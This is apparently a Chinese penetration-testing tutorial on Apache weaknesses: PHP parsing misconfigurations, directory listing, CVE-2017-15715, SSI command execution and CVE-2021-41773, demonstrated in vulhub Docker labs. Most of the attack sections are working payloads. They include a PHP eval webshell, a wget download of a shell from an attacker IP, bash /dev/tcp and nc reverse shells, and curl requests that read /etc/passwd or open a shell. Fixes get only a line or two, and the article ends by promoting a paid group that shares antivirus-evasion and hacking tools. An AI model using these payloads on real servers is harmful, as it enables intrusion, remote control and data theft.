免责声明
Apache 是目前世界排名第一的 web 服务器,可以运行在几乎所有广泛使用的计算机平台上。由于其跨平台性和安全性被广泛使用,同时它能通过简单的API进行扩充,并将 Perl/Python 等解释器编译到服务器中。要知道 Apache 中间件可了解下最常见的 Apache 建站组合:LAMP,它们分别对应 Linux、Apache、Mysql、PHP。其中各组件的作用如下:
AddType application/x-httpd-php .php
或
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
StartServices: 服务器默认启动的子进程
MinSpareServers: 最小空闲进程数量
MaxSpareServers: 最大空闲进程数量
MaxClient: 最高并发量
ServerLimit: 最大限制并发量
MaxRequestPerChild: 每个子进程默认最多处理多少个请求,当达到设定值时,这个进程就会被kill掉,重新生成一个新的进程(避免出现内存泄露等安全问题或运行太久出现假死等情况)
StartServers: 服务器启动时建立的子进程数(默认为3)
MaxClients: 允许同时服务的最大请求数量(最大线程数),任何超过MaxClients限制的请求都将进入等待队列(默认为400)
MinSpareThreads: 最小空闲线程数(默认值为75)
MaxSpareThreads: 最大空闲线程数(默认值为250)
ThreadsPerChild: 每个子进程建立的常驻的执行线程数(默认值为25)
MaxRequestPerChild: 每个子进程在其生存期内允许处理的最大请求数
官网下载地址:https://www.apachehaus.com/cgi-bin/download.plx
在conf目录下存在配置文件httpd.conf,可用于配置 Apache 中间件
进入bin目录启动 Apache 应用,如果返回OK则说明它能够正常启动
httpd -t
开始在服务中安装 Apache
xxxxxxxxxx httpd -k install -n Apache2.4
启动服务或停止服务命令如下:
httpd -k start
httpd -k stop
服务启动后访问界面如下:
也可以直接在bin目录下运行ApacheMonitor.exe程序,达到的效果都是一样的
yum install httpd
## 停止或启动服务
service httpd start
service httpd stop
其默认服务目录在/etc/httpd当中
但是访问1.php.aa只显示文本内容,并没有对 PHP 解析
难道是 PHP 未配置成功?访问 PHPINFO 文件phpinfo.php成功解析
FastCgi模式:
经验证这也不是使用模式的问题,当模式改为fastcgi后访问文件还会出现500错误
而出现 PHP 未解析的主要原因在 PHP 配置文件php.conf当中
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
find / -name php*.conf
在php7.4.conf中修改如下:
<FilesMatch ".+\.ph(p[345]?|t|tml)\.">
SetHandler application/x-httpd-php
</FilesMatch>
重启 Apache 服务,访问站点成功
service apache2 start
重新在 Kali 中访问1.php.aa,解析成功
vim mac.conf
AddHandler application/x-httpd-php .php
比如访问1.php.txt.aa,成功解析
当然也可以将*.conf设置如下,两者功能相同
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
访问1.jpg同样可以成功解析
比如1.phtml,解析 PHP 成功
访问1目录,存在目录遍历漏洞
如果想要修复该漏洞,将+修改为-后重启服务器即可。在谷歌中利用谷歌黑客语法可轻易找到存在该漏洞的网站
intitle:index of
sudo apt install curl
curl -s https://get.docker.com/ | sh
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip install docker-compose
sudo apt install docker-compose
通过以下命令验证 docker-compose 是否已经安装
docker-compose -v
开启 CVE-2017-15715 环境
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps
访问目标站点http://192.168.0.107:8080
首先直接上传正常的.php后缀文件,发现不能上传
通过 burpsuite 抓取上传请求包,发送至repeater模块
把符号点.替换为换行符,即0x7e替换为0x0a
结果显示上传成功,成功绕过限制
访问`http://192.168.0.107:8080/evil.php%0A`,文件已经成功解析为 PHP
那么为什么添加换行符后就可以成功执行PHP解析呢?先来看看上传界面index.php
<?php
if(isset($_FILES['file'])) {
$name = basename($_POST['name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
exit('bad file');
}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {
?>
cd vulhub/httpd/ssi-rce
docker-compose ps
docker-compose up -d
访问http://192.168.0.107:8080/upload.php,这是一个上传界面
利用SSI执行系统命令的功能,构造一个包含系统指令的文件mac.shtml
<pre>
<!--#exec cmd="whoami"-->
</pre>
上传成功后返回文件路径
访问路径http://192.168.0.107:8080/mac.shtml,成功执行系统命令
尝试执行命令写入小马
<!--#exec cmd="wget http://192.168.0.105/shell.txt | rename shell.txt mac.php" -->
<!--#exec cmd="echo '<?php @eval($_POST[mac]);?>' > mac.php" -->
成功连接蚁剑,连接地址为http://192.168.0.107:8080/mac.php
当然也可以执行反弹shell
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.0.108/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.0.108 8888 -e /bin/bash"-->
Apahce HTTPd 2.4.49(CVE-2021-41773)
mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写
DockerFile文件内容:
FROM httpd:2.4.49
RUN set -ex \
&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
&& cat /usr/local/apache2/conf/httpd.conf \
| tr '\n' '\r' \
| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n AllowOverride none\n Require all granted\n</Directory>|isg' \
| tr '\r' '\n' \
| tee /tmp/httpd.conf \
&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf
docker build -t httpd:2.4.49rce .
运行docker
docker run -d -p 85:80 httpd:2.4.49rce
之后就可以通过浏览器访问量(如果浏览器访问不了,重新启动实验机后再启动docker就可以解决该问题)
POC测试
curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
或者
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
或者
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8
echo;pwd
漏洞修复
升级到Apache HTTP Server最新版本。
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读